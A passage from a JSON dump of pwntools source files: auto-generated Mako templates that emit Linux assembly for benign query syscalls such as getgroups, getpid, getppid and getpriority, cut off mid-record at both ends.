    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getgroups(size, list) -> str\n\nInvokes the syscall getgroups.\n\nSee 'man 2 getgroups' for more information.\n\nArguments:\n    size(int): size\n    list(gid_t*): list\nReturns:\n    int\n</%docstring>\n<%page args=\"size=0, list=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['size', 'list']\n    argument_values = [size, list]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getgroups']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getgroups'])\n%>\n    /* getgroups(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getgroups32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getgroups32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getgroups32.\n\nSee 'man 2 getgroups32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getgroups32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getgroups32'])\n%>\n    /* getgroups32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getitimer.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getitimer(which, value) -> str\n\nInvokes the syscall getitimer.\n\nSee 'man 2 getitimer' for more information.\n\nArguments:\n    which(itimer_which_t): which\n    value(itimerval*): value\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, value=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'value']\n    argument_values = [which, value]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getitimer']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getitimer'])\n%>\n    /* getitimer(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpeername.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpeername(fd, addr, length) -> str\n\nInvokes the syscall getpeername.\n\nSee 'man 2 getpeername' for more information.\n\nArguments:\n    fd(int): fd\n    addr(SOCKADDR_ARG): addr\n    length(socklen_t*): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'length']\n    argument_values = [fd, addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpeername']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpeername'])\n%>\n    /* getpeername(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpgid(pid) -> str\n\nInvokes the syscall getpgid.\n\nSee 'man 2 getpgid' for more information.\n\nArguments:\n    pid(pid_t): pid\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"pid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid']\n    argument_values = [pid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpgid'])\n%>\n    /* getpgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpgrp.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpgrp() -> str\n\nInvokes the syscall getpgrp.\n\nSee 'man 2 getpgrp' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpgrp']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpgrp'])\n%>\n    /* getpgrp(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpid() -> str\n\nInvokes the syscall getpid.\n\nSee 'man 2 getpid' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpid'])\n%>\n    /* getpid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpmsg(fildes, ctlptr, dataptr, bandp, flagsp) -> str\n\nInvokes the syscall getpmsg.\n\nSee 'man 2 getpmsg' for more information.\n\nArguments:\n    fildes(int): fildes\n    ctlptr(strbuf*): ctlptr\n    dataptr(strbuf*): dataptr\n    bandp(int*): bandp\n    flagsp(int*): flagsp\nReturns:\n    int\n</%docstring>\n<%page args=\"fildes=0, ctlptr=0, dataptr=0, bandp=0, flagsp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fildes', 'ctlptr', 'dataptr', 'bandp', 'flagsp']\n    argument_values = [fildes, ctlptr, dataptr, bandp, flagsp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpmsg'])\n%>\n    /* getpmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getppid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getppid() -> str\n\nInvokes the syscall getppid.\n\nSee 'man 2 getppid' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getppid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getppid'])\n%>\n    /* getppid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getpriority.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getpriority(which, who) -> str\n\nInvokes the syscall getpriority.\n\nSee 'man 2 getpriority' for more information.\n\nArguments:\n    which(priority_which_t): which\n    who(id_t): who\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, who=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'who']\n    argument_values = [which, who]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = 